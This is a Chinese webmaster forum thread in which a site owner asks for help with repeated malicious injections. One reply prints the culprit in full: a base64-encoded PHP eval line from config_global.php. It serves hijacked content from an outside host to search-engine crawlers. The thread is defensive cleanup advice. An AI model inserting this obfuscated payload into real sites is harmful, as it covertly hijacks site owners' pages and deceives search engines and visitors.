搜索
查看: 926|回复: 9

网站好像被人挂马请问怎么办才好?

[复制链接]
发表于 2018-6-15 19:54:43 | 显示全部楼层 |阅读模式
网站好像被人挂马了,后台文件校验,被修改的文件用官方的覆盖了

可是这几天又被人修改了,请问怎么办才好?

我的ftp密码修改了也是这样
回复

使用道具 举报

 楼主| 发表于 2018-6-15 19:55:13 | 显示全部楼层
本帖最后由 登录密码忘记了 于 2018-6-11 09:14 编辑

附图一张
回复

使用道具 举报

发表于 2018-6-15 19:55:53 | 显示全部楼层
    是搜索引擎流量劫持了吗?
  找到大马和小马的文件了吗??
  可以联系我QQ交谈 有偿服务哦!
回复

使用道具 举报

 楼主| 发表于 2018-6-15 19:56:46 | 显示全部楼层

mR.耗子 发表于 2018-6-11 10:47

是搜索引擎流量劫持了吗?
  找到大马和小马的文件了吗??
  可以联系我QQ交谈 有偿服务哦!

请问得多少钱?
回复

使用道具 举报

 楼主| 发表于 2018-6-15 19:57:31 | 显示全部楼层
为什么360网站安全检测是安全的 郁闷

回复

使用道具 举报

发表于 2018-6-15 19:58:27 | 显示全部楼层

登录密码忘记了 发表于 2018-6-11 11:49

请问得多少钱?

  请联系我QQ交谈哦!
回复

使用道具 举报

发表于 2018-6-15 19:59:02 | 显示全部楼层
本帖最后由 有橼勿愤 于 2018-6-14 18:12 编辑

/config/config_global.php检查这个文件 我的模板啥都改了还是有 结果这个文件给人加了@eval(base64_decode("DQokb3B0cyA9IGFycmF5KA0KICAnaHR0cCc9PmFycmF5KA0KICAgICdtZXRob2QnPT4iR0VUIiwNCiAgICAndGltZW91dCc9PjEwLA0KICAgKQ0KKTsNCiRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRzKTsNCiRkb21haW4gID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107DQoNCmlmKGlzU3BpZGVyKCkpew0KCSRjb250ZW50PSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9sNS53YW5nMjAxNy5jb20vbGluay5waHA/ZG9tYWluPScuJGRvbWFpbi4iJnNwaWRlcj0iLmlzU3BpZGVyKCkuIiZxdWVyeT0iLmJhc2U2NF9lbmNvZGUoJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKSxmYWxzZSwkY29udGV4dCk7DQoJZWNobyAkY29udGVudDsNCn0NCmZ1bmN0aW9uIGlzU3BpZGVyKCl7DQoJJGJvdHMgPSBhcnJheSgNCgkJJ2JhaWR1JyAgICAgICAgPT4gJ2JhaWR1c3BpZGVyJywNCgkJJ3NvZ291JyAgICAgICAgPT4gJ3NvZ291JywNCgkJJzM2MHNwaWRlcicgICAgICAgID0+ICdoYW9zb3VzcGlkZXInLA0KCQknMzYwc3BpZGVyJyAgICAgICAgPT4gJzM2MHNwaWRlcicsDQoJCSdiaW5nYm90JyAgICAgICAgPT4gJ2Jpbmdib3QnLA0KCQknWWlzb3UnICAgICAgICA9PiAnWWlzb3VzcGlkZXInLA0KCSk7DQogICAgJHVzZXJBZ2VudCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsNCiAgICBmb3JlYWNoICgkYm90cyBhcyAkayA9PiAkdil7DQogICAgICAgIGlmIChzdHJpc3RyKCR1c2VyQWdlbnQsJHYpKXsNCiAgICAgICAgICAgIHJldHVybiAkazsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQo="));
$_config = array(); 删除就好 希望对您有所帮助
回复

使用道具 举报

 楼主| 发表于 2018-6-15 19:59:55 | 显示全部楼层

有橼勿愤 发表于 2018-6-14 18:07

/config/config_global.php检查这个文件 我的模板啥都改了还是有 结果这个文件给人加了@eval(base64_decode ...

非常感谢您!
回复

使用道具 举报

发表于 2018-6-15 20:00:55 | 显示全部楼层
免费的 Discuz劫持检测插件:http://addon.discuz.com/?@freeaddon_snapshot.plugin

可以有偿排查清理加固服务器
回复

使用道具 举报

发表于 2018-6-15 20:01:46 | 显示全部楼层

登录密码忘记了 发表于 2018-6-11 09:09

附图一张

你的是独立的vps服务器吗?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

菜鸟论坛

菜鸟论坛-致力于个人网站发展的草根站长联盟,为广大从事互联网工作、前端开发、个人站长、网站搭建、SEO优化、网络运营以及其他领域的个人草根站长同学提供一个免费公益性的信息交流与资源分享的站长平台。

微信公众号

联系我们

  • 广告合作
  • QQ:542750839

QQ|手机版|小黑屋|菜鸟论坛 ( 鲁ICP备17013748号 )|网站地图

Powered by Discuz! X3.4 © 2018 MZHENG.CN

快速回复 返回顶部 返回列表